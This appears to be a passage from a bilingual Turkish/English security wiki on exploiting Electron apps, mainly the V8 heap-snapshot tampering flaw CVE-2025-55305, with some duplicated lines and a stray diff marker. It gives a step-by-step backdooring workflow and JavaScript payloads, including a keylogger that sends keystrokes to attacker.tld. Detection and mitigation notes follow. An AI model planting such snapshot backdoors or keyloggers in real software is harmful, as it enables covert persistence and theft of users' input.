[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) adresinde, güvenlik açığı olan Electron uygulamalarını istismar etmek için bir laboratuvar bulabilirsiniz.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
Laboratuvarda size yardımcı olacak bazı komutlar:
Bazı komutlar labda size yardımcı olacaktır:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -430,14 +434,127 @@ cd vulnerable1
npm install
npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron ve Chromium tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için startup sırasında önceden hazırlanmış bir V8 heap snapshot'ı (v8_context_snapshot.bin, ve isteğe bağlı olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak, Electronın integrity fuses bu snapshot'ları executable içerik olarak değerlendirmiyordu; bu nedenle hem fuse tabanlı integrity enforcement'tan hem de OS code-signing kontrollerinden kaçıyorlardı. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek, imzalı binary'leri veya ASAR'ı değiştirmeden uygulama içinde gizli, kalıcı kod çalıştırma sağlıyordu.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar uygulama içindeki JavaScript'i ASAR içinde doğrulasa da, V8 heap snapshot'larını kapsamadılar (CVE-2025-55305). Chromium benzer şekilde snapshot'ları integrity-check etmiyor.
- Attack preconditions: Uygulamanın kurulum dizinine yerel dosya yazma. Bu, Electron uygulamalarının veya Chromium browser'larının kullanıcı tarafından yazılabilir yollar altında yüklü olduğu sistemlerde yaygındır (ör. %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Sık kullanılan bir builtin'i (bir “gadget”) çarpıtmak suretiyle herhangi bir isolate içinde attacker JavaScript'in güvenilir şekilde çalıştırılması; bu da persistence ve code-signing doğrulamasından kaçınma sağlar.
- Affected surface: Electron apps (fuse'lar etkin olsa bile) ve user-writable konumlardan snapshot yükleyen Chromium-based browser'lar.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload yönlendirmesi (main vs. renderer'da farklı kod çalıştırma)
- Main process tespiti: Node'a özel global'ler like process.pid, process.binding(), veya process.dlopen main process isolate içinde bulunur.
- Browser/renderer tespiti: Browser'a özel global'ler like alert document context içinde çalıştırılırken erişilebilir.
Örnek gadget: main-process Node yeteneklerini bir kez sorgulayan örnek gadget
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
Renderer/browser-context veri hırsızlığı PoC (ör. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
Operatör iş akışı
1) Ortak bir builtin'i bozacak (örn. Array.isArray) ve isteğe bağlı olarak her isolate için dallanma yapan payload.js yazın.
2) Chromium kaynakları olmadan snapshot'ı oluşturun:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Hedef uygulamanın snapshot dosyalarını üzerine yazın:
- v8_context_snapshot.bin (her zaman kullanılır)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse kullanılıyorsa)
4) Uygulamayı başlatın; seçilen builtin kullanıldığında gadget çalışır.
Notlar ve dikkate alınması gerekenler
- Integrity/signature bypass: Snapshot dosyaları code-signing kontrolleri tarafından native yürütülebilirler olarak değerlendirilmez ve (tarihsel olarak) Electronun fuses veya Chromium bütünlük kontrolleri tarafından kapsanmıyordu.
- Persistence: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek genellikle uygulama yeniden başlatmalarına dayanır ve imzalanmış, meşru bir uygulama gibi görünür.
- Chromium browsers: Aynı tahrifat konsepti, kullanıcı tarafından yazılabilir konumlara kurulu Chrome/türevleri için de geçerlidir. Chromeun başka bütünlük hafifletmeleri vardır ancak tehdit modelinden fiziksel olarak yerel saldırılarııkça hariç tutar.
Tespit ve hafifletmeler
- Snapshot'ları yürütülebilir içerik olarak değerlendirin ve bunları bütünlük uygulamasına dahil edin (CVE-2025-55305 fix).
- Yalnızca admin tarafından yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için baz değer belirleyin ve hash'leri izleyin.
- Erken-runtime builtin tahribatını ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle eşleşmediğinde uyarı verin.
## **Referanslar**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electron güvenliği hakkında daha fazla araştırma ve yazı için [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)